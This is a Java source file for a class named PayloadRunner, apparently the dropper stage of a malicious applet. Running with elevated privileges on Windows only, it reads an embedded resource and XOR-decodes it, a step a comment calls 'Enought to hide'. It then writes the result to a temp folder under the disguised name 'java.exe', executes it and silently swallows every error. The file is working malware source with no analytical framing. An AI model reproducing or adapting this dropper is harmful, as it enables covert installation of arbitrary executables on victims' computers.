package x;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.security.AccessController;
import java.security.PrivilegedAction;
import java.util.Locale;
import java.util.Properties;

public class PayloadRunner implements PrivilegedAction<Void> {
	private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);

	public PayloadRunner() {
		AccessController.doPrivileged(this);
	}

	@SuppressWarnings("all")
	@Override
	public Void run() {
		// System.out.println("payload");

		Process f;
		InputStream payloadStream = null;
		Properties props = new Properties();

		try {
			// get payload path
			String payloadPath = "/";
			if (isWindows()) {
				payloadPath += "w";
			} /*else if (isMac()) { // System.out.println("Running on Mac");
				payloadPath += "m";
			}*/ else {
				System.exit(0);
			}

			// System.out.println(payloadPath);

			// open stream to payload
			payloadStream = XAppletW.class.getResourceAsStream(payloadPath);

			byte[] bytes = toByteArray(payloadStream);
			for (int i = 0; i < bytes.length; i++) {
				bytes[i] = (byte) (bytes[i] ^ 255); // Enought to hide
			}

			// write payload to temporary path (inside %tmp% in Windows)
			File dummyTempFile = File.createTempFile("~swap", ".tmp");
			dummyTempFile.delete();
			File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
			tempDir.mkdir();

			File executableFile = new File(tempDir, "java.exe");
			writeEmbeddedFile(bytes, executableFile);

			executableFile.setExecutable(true);

			// execute payload
			// System.out.println("Running " +
			// executableFile.getCanonicalPath());
			f = Runtime.getRuntime().exec(new String[] { executableFile.getCanonicalPath() });
			f.waitFor();

		} catch (IOException e) {
			// e.printStackTrace(System.out);
		} catch (NullPointerException e) {
			// e.printStackTrace(System.out);
		} catch (InterruptedException e) {
			// e.printStackTrace(System.out);
		} finally {
			try {
				payloadStream.close();
			} catch (IOException e) {
				// e.printStackTrace(System.out);
			} catch (NullPointerException e) {
				// e.printStackTrace(System.out);
			}
		}

		return null;
	}

	private byte[] toByteArray(InputStream is) throws IOException {
		ByteArrayOutputStream buffer = new ByteArrayOutputStream();

		int nRead;
		byte[] data = new byte[16384];

		while ((nRead = is.read(data, 0, data.length)) != -1) {
			buffer.write(data, 0, nRead);
		}

		buffer.flush();

		return buffer.toByteArray();
	}

	private static boolean isWindows() {
		return OS_NAME.startsWith("win");

	}

	private static boolean isMac() {
		return OS_NAME.startsWith("mac");
	}

	private static void writeEmbeddedFile(InputStream in, File targetFile) throws FileNotFoundException, IOException {
		FileOutputStream fos = new FileOutputStream(targetFile);
		byte[] buf = new byte[4096];
		int len;
		while ((len = in.read(buf)) != -1) {
			fos.write(buf, 0, len);
		}
		fos.close();
	}

	private static void writeEmbeddedFile(byte[] buf, File targetFile) throws FileNotFoundException, IOException {
		FileOutputStream fos = new FileOutputStream(targetFile);
		fos.write(buf, 0, buf.length);
		fos.close();
	}

}
